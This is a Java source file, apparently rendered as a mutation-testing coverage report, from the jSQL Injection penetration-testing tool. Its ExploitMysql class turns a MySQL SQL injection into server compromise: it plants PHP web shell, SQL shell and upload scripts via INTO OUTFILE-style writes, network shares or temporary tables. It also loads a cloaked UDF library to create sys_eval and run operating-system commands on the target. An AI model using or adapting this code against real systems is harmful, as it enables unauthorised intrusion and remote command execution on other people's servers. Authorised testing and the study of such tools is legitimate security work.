1 | package com.jsql.model.accessible.vendor; | |
2 | ||
3 | import com.jsql.model.InjectionModel; | |
4 | import com.jsql.model.accessible.DataAccess; | |
5 | import com.jsql.model.accessible.ExploitMode; | |
6 | import com.jsql.model.accessible.ResourceAccess; | |
7 | import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql; | |
8 | import com.jsql.model.bean.database.MockElement; | |
9 | import com.jsql.model.bean.util.Interaction; | |
10 | import com.jsql.model.bean.util.Request; | |
11 | import com.jsql.model.exception.JSqlException; | |
12 | import com.jsql.model.exception.JSqlRuntimeException; | |
13 | import com.jsql.model.injection.vendor.model.VendorYaml; | |
14 | import com.jsql.model.suspendable.SuspendableGetRows; | |
15 | import com.jsql.util.LogLevelUtil; | |
16 | import com.jsql.util.StringUtil; | |
17 | import org.apache.commons.codec.binary.Hex; | |
18 | import org.apache.commons.lang3.RandomStringUtils; | |
19 | import org.apache.commons.lang3.StringUtils; | |
20 | import org.apache.logging.log4j.LogManager; | |
21 | import org.apache.logging.log4j.Logger; | |
22 | import org.yaml.snakeyaml.Yaml; | |
23 | ||
24 | import java.io.File; | |
25 | import java.io.FileInputStream; | |
26 | import java.io.IOException; | |
27 | import java.io.InputStream; | |
28 | import java.net.URI; | |
29 | import java.net.URISyntaxException; | |
30 | import java.net.http.HttpResponse; | |
31 | import java.nio.charset.StandardCharsets; | |
32 | import java.nio.file.Files; | |
33 | import java.nio.file.Path; | |
34 | import java.nio.file.Paths; | |
35 | import java.nio.file.StandardCopyOption; | |
36 | import java.util.List; | |
37 | import java.util.Objects; | |
38 | import java.util.UUID; | |
39 | import java.util.function.BiPredicate; | |
40 | import java.util.function.BinaryOperator; | |
41 | ||
42 | public class ExploitMysql { | |
43 | ||
44 | /** | |
45 | * Log4j logger sent to view. | |
46 | */ | |
47 | private static final Logger LOGGER = LogManager.getRootLogger(); | |
48 | public static final String NAME_TABLE = "temp"; | |
49 | private final InjectionModel injectionModel; | |
50 | private final ModelYamlMysql modelYaml; | |
51 | ||
52 | private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> { | |
53 | try { | |
54 |
2
1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE 2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE |
return this.buildSysEval(nameLibraryRandom); |
55 | } catch (JSqlException e) { | |
56 | throw new JSqlRuntimeException(e); | |
57 | } | |
58 | }; | |
59 | ||
60 | public ExploitMysql(InjectionModel injectionModel) { | |
61 | this.injectionModel = injectionModel; | |
62 | var yaml = new Yaml(); | |
63 | this.modelYaml = yaml.loadAs( | |
64 | injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(), | |
65 | ModelYamlMysql.class | |
66 | ); | |
67 | } | |
68 | ||
69 | public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException { | |
70 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv"); | |
71 | ||
72 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
73 | var request = new Request(); | |
74 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB); |
75 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(urlSuccess); |
76 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
77 |
1
1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE |
return urlSuccess; |
78 | }; | |
79 |
1
1. createWeb : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE |
return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode); |
80 | } | |
81 | ||
82 | public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException { | |
83 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
84 | var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false); | |
85 |
2
1. lambda$createSql$2 : negated conditional → NO_COVERAGE 2. lambda$createSql$2 : negated conditional → NO_COVERAGE |
if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) { |
86 | var request = new Request(); | |
87 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL); |
88 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(urlSuccess, username, password); |
89 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
90 |
1
1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE |
return urlSuccess; |
91 | } | |
92 | return StringUtils.EMPTY; | |
93 | }; | |
94 | var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
95 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
96 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()..."); | |
97 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
98 | } | |
99 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
100 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()..."); | |
101 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
102 | } | |
103 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
104 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database"); | |
105 | } | |
106 |
1
1. createSql : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE |
return urlSuccess; |
107 | } | |
108 | ||
109 | public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException { | |
110 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
111 | try (InputStream streamToUpload = new FileInputStream(fileToUpload)) { | |
112 | HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload); | |
113 |
1
1. lambda$createUpload$3 : negated conditional → NO_COVERAGE |
if (result.body().contains(DataAccess.LEAD +"y")) { |
114 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName()); | |
115 | } else { | |
116 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName()); | |
117 | } | |
118 | } catch (InterruptedException e) { | |
119 | LOGGER.log(LogLevelUtil.IGNORE, e, e); | |
120 |
1
1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE |
Thread.currentThread().interrupt(); |
121 | } catch (IOException | JSqlException e) { | |
122 | throw new JSqlRuntimeException(e); | |
123 | } | |
124 |
1
1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE |
return urlSuccess; |
125 | }; | |
126 | this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode); | |
127 | } | |
128 | ||
129 | /** | |
130 | * Create shell on remote server | |
131 | * @param urlExploit URL for the script (used for url rewriting) | |
132 | */ | |
133 | public String create( | |
134 | String pathRemoteFolder, | |
135 | String urlExploit, | |
136 | String keyPropertyExploit, | |
137 | String nameExploit, | |
138 | BinaryOperator<String> biFuncGetRequest, | |
139 | String pathNetshareFolder, | |
140 | ExploitMode exploitMode | |
141 | ) throws JSqlException { | |
142 |
1
1. create : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
143 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return null; |
144 | } | |
145 | ||
146 | String bodyExploit = StringUtil.base64Decode( | |
147 | this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit) | |
148 | ) | |
149 | .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) | |
150 | .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); | |
151 | ||
152 | // outfile + binary: content corruption | |
153 | BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> { | |
154 | try { | |
155 | String resultInjection = this.confirm(pathFolder + nameFile); | |
156 |
2
1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE 2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE |
return resultInjection.contains(bodyExploit); |
157 | } catch (JSqlException e) { | |
158 | throw new JSqlRuntimeException(e); | |
159 | } | |
160 | }; | |
161 | ||
162 |
1
1. create : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
163 | String nameExploitValidated = StringUtils.EMPTY; | |
164 | ||
165 |
1
1. create : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
166 |
1
1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyToShare → NO_COVERAGE |
ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit); |
167 | nameExploitValidated = this.byNetshare( | |
168 | nbIndexesFound, | |
169 | pathNetshareFolder, | |
170 | nameExploit, | |
171 | pathRemoteFolder, | |
172 | biPredConfirm | |
173 | ); | |
174 |
2
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
175 | nameExploitValidated = this.byQueryBody( | |
176 | nbIndexesFound, | |
177 | pathRemoteFolder, | |
178 | nameExploit, | |
179 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
180 | biPredConfirm | |
181 | ); | |
182 | } | |
183 |
3
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE 3. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
184 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
185 |
1
1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE |
this.byTable( |
186 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
187 | pathRemoteFolder + nameExploitRandom | |
188 | ); | |
189 |
1
1. create : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
190 | nameExploitValidated = nameExploitRandom; | |
191 | } | |
192 | } | |
193 | ||
194 |
1
1. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
195 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
196 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return null; |
197 | } | |
198 | nameExploit = nameExploitValidated; | |
199 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
200 | ||
201 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); |
202 | } | |
203 | ||
204 | public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException { | |
205 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv"); | |
206 | ||
207 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
208 | return; | |
209 | } | |
210 | ||
211 |
1
1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
212 | var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir"); | |
213 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(pathPlugin)) { |
214 | throw new JSqlException("Incorrect plugin folder: path is empty"); | |
215 | } | |
216 | ||
217 | String nameLibrary = this.getNameLibrary(); | |
218 | ||
219 | pathPlugin = pathPlugin.replace("\\", "/"); | |
220 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathPlugin.endsWith("/")) { |
221 | pathPlugin = String.format("%s%s", pathPlugin, "/"); | |
222 | } | |
223 | ||
224 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) { |
225 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway..."); | |
226 | } | |
227 | String isSuccess = StringUtils.EMPTY; | |
228 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
229 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathNetshareFolder.endsWith("\\")) { |
230 | pathNetshareFolder += "\\"; | |
231 | } | |
232 |
1
1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE |
ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary); |
233 | isSuccess = this.byNetshare( | |
234 | nbIndexesFound, | |
235 | pathNetshareFolder, | |
236 | nameLibrary, | |
237 | pathPlugin, | |
238 | this.biPredCreateUdf | |
239 | ); | |
240 |
2
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
241 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) { |
242 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead"); | |
243 | } | |
244 | isSuccess = this.byQueryBody( | |
245 | nbIndexesFound, | |
246 | pathPlugin, | |
247 | nameLibrary, | |
248 | ExploitMysql.toHexChunks(nameLibrary), | |
249 | this.biPredCreateUdf | |
250 | ); | |
251 | } | |
252 |
3
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE 3. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
253 | var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary; | |
254 |
1
1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE |
this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom); |
255 | this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom); | |
256 | } | |
257 | } | |
258 | ||
259 | private String getNameLibrary() throws JSqlException { | |
260 | var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec"); | |
261 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(versionOsMachine)) { |
262 | throw new JSqlException("Incorrect remote machine: unknown system"); | |
263 | } | |
264 |
2
1. getNameLibrary : negated conditional → NO_COVERAGE 2. getNameLibrary : negated conditional → NO_COVERAGE |
var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux"); |
265 | String nameLibrary; | |
266 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (versionOsMachine.contains("64")) { |
267 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "64.dll" : "64.so"; |
268 | } else { | |
269 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "32.dll" : "32.so"; |
270 | } | |
271 |
1
1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE |
return nameLibrary; |
272 | } | |
273 | ||
274 | public String byQueryBody( | |
275 | int nbIndexesFound, | |
276 | String pathRemoteFolder, | |
277 | String nameExploit, | |
278 | List<String> hexChunks, | |
279 | BiPredicate<String,String> biPredConfirm | |
280 | ) { | |
281 | String nameExploitValidated = StringUtils.EMPTY; | |
282 | var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody(); | |
283 | ||
284 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
285 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
286 | "union", | |
287 | "'',".repeat(nbIndexesFound), | |
288 | String.join(StringUtils.EMPTY, hexChunks), | |
289 | pathRemoteFolder + nameExploitRandom | |
290 | ), "body#union-dump"); | |
291 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
292 | nameExploitValidated = nameExploitRandom; | |
293 | } | |
294 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
295 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack..."); | |
296 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
297 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
298 | ";", | |
299 | StringUtils.EMPTY, | |
300 | String.join(StringUtils.EMPTY, hexChunks), | |
301 | pathRemoteFolder + nameExploitRandom | |
302 | ), "body#stack-dump"); | |
303 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
304 | nameExploitValidated = nameExploitRandom; | |
305 | } | |
306 | } | |
307 |
1
1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE |
return nameExploitValidated; |
308 | } | |
309 | ||
310 | public String byNetshare( | |
311 | int nbIndexesFound, | |
312 | String pathNetshareFolder, | |
313 | String nameExploit, | |
314 | String pathRemoteFolder, | |
315 | BiPredicate<String,String> biPredConfirm | |
316 | ) { | |
317 | String nameExploitValidated = StringUtils.EMPTY; | |
318 | var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\"); | |
319 | var pattern = this.modelYaml.getUdf().getAddFile().getNetshare(); | |
320 | ||
321 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union..."); | |
322 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
323 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
324 | "union", | |
325 | "'',".repeat(nbIndexesFound), | |
326 | pathShareEncoded + nameExploit, | |
327 | pathRemoteFolder + nameExploitRandom | |
328 | ), "netshare#union"); | |
329 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
330 | nameExploitValidated = nameExploitRandom; | |
331 | } | |
332 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
333 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack..."); | |
334 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
335 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
336 | ";", | |
337 | StringUtils.EMPTY, | |
338 | pathShareEncoded + nameExploit, | |
339 | pathRemoteFolder + nameExploitRandom | |
340 | ), "netshare#stack"); | |
341 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
342 | nameExploitValidated = nameExploitRandom; | |
343 | } | |
344 | } | |
345 |
1
1. byNetshare : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE |
return nameExploitValidated; |
346 | } | |
347 | ||
348 | private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException { | |
349 | try { | |
350 | URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("exploit/mysql/" + nameLibrary)).toURI(); | |
351 | Path originalPath = new File(original).toPath(); | |
352 | Path copied = Paths.get(pathNetshare + nameLibrary); | |
353 | Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING); | |
354 | } catch (IOException | URISyntaxException e) { | |
355 | throw new JSqlException("Copy udf into local network share failure: " + e.getMessage()); | |
356 | } | |
357 | } | |
358 | ||
359 | public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException { | |
360 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack..."); | |
361 | var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname"); | |
362 |
2
1. byTable : negated conditional → NO_COVERAGE 2. byTable : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) { |
363 | nameDatabase = "mysql"; | |
364 | } | |
365 | var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8); // underscore required, dash not allowed | |
366 | var nameSchemaTable = nameDatabase +"."+ nameTableRandom; | |
367 | this.injectionModel.injectWithoutIndex(String.format( | |
368 | this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(), | |
369 | nameSchemaTable | |
370 | ), ResourceAccess.TBL_DROP); | |
371 | var countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
372 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"0".equals(countResult)) { |
373 | throw new JSqlException("Drop table failure: "+ countResult); | |
374 | } | |
375 | this.injectionModel.injectWithoutIndex(String.format( | |
376 | this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(), | |
377 | nameSchemaTable | |
378 | ), ResourceAccess.TBL_CREATE); | |
379 | countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
380 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"1".equals(countResult)) { |
381 | throw new JSqlException("Create table failure: "+ countResult); | |
382 | } | |
383 | int indexChunk = 0; | |
384 | for (String chunk: bodyHexChunks) { | |
385 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (indexChunk == 0) { |
386 | this.injectionModel.injectWithoutIndex(String.format( | |
387 | this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(), | |
388 | nameSchemaTable, | |
389 | chunk | |
390 | ), "tbl#init"); | |
391 | } else { | |
392 | this.injectionModel.injectWithoutIndex(String.format( | |
393 | this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(), | |
394 | nameSchemaTable, | |
395 | chunk | |
396 | ), ResourceAccess.TBL_FILL); | |
397 | } | |
398 |
1
1. byTable : Changed increment from 1 to -1 → NO_COVERAGE |
indexChunk++; |
399 | } | |
400 | this.injectionModel.injectWithoutIndex(String.format( | |
401 | this.modelYaml.getUdf().getAddFile().getTempTable().getDump(), | |
402 | nameSchemaTable, | |
403 | pathRemoteFile | |
404 | ), ResourceAccess.TBL_DUMP); | |
405 | } | |
406 | ||
407 | private String getCountTable(String nameDatabase, String nameTableRandom) { | |
408 | try { | |
409 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE |
return this.injectionModel.getResourceAccess().getResult(String.format( |
410 | this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(), | |
411 | nameTableRandom, | |
412 | nameDatabase | |
413 | ), "tbl#check"); | |
414 | } catch (JSqlException e) { | |
415 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE |
return e.getMessage(); // error message then logged |
416 | } | |
417 | } | |
418 | ||
419 | private boolean buildSysEval(String nameLibrary) throws JSqlException { | |
420 | this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop"); | |
421 | this.injectionModel.injectWithoutIndex(String.format( | |
422 | this.modelYaml.getUdf().getAddFunction().getCreate(), | |
423 | nameLibrary | |
424 | ), "udf#function"); | |
425 | var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm"); | |
426 |
1
1. buildSysEval : negated conditional → NO_COVERAGE |
if (!confirm.contains("sys_eval")) { |
427 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found"); | |
428 |
1
1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE |
return false; |
429 | } | |
430 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found"); | |
431 | ||
432 | var request = new Request(); | |
433 |
1
1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_MYSQL); |
434 |
1
1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(null, null); |
435 |
1
1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
436 |
1
1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE |
return true; |
437 | } | |
438 | ||
439 | private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException { | |
440 | Path path = Paths.get(pathFile); | |
441 | try { | |
442 | Files.write(path, bodyExploit.getBytes()); | |
443 | } catch (IOException e) { | |
444 | throw new JSqlException(e); | |
445 | } | |
446 | } | |
447 | ||
448 | public String confirm(String path) throws JSqlException { | |
449 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
450 |
1
1. confirm : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run( |
451 | this.modelYaml.getFile().getRead().replace( | |
452 | VendorYaml.FILEPATH_HEX, | |
453 | Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8)) | |
454 | ), | |
455 | sourcePage, | |
456 | false, | |
457 | 1, | |
458 | MockElement.MOCK, | |
459 | "xplt#confirm-file" | |
460 | ); | |
461 | } | |
462 | ||
463 | public String runRceCmd(String command, UUID uuidShell) { | |
464 | String result; | |
465 | try { | |
466 | result = this.injectionModel.getResourceAccess().getResult(String.format( // 0xff splits single result in many chunks => replace by space | |
467 | this.modelYaml.getUdf().getRunCmd(), | |
468 | command.replace(StringUtils.SPACE, "%20") // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l' | |
469 | ), "udf#run-cmd") +"\n"; | |
470 | } catch (JSqlException e) { | |
471 | result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command); | |
472 | } | |
473 | var request = new Request(); | |
474 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.GET_TERMINAL_RESULT); |
475 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(uuidShell, result); |
476 |
1
1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
477 |
1
1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE |
return result; |
478 | } | |
479 | ||
480 | private static List<String> toHexChunks(String filename) throws JSqlException { | |
481 | try { | |
482 | byte[] fileData = Objects.requireNonNull( // getResource > toURI > toPath > readAllBytes() not possible in .jar | |
483 | ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ filename +".cloak") | |
484 | ).readAllBytes(); | |
485 | fileData = StringUtil.uncloak(fileData); | |
486 |
1
1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE |
return StringUtil.toHexChunks(fileData); |
487 | } catch (IOException e) { | |
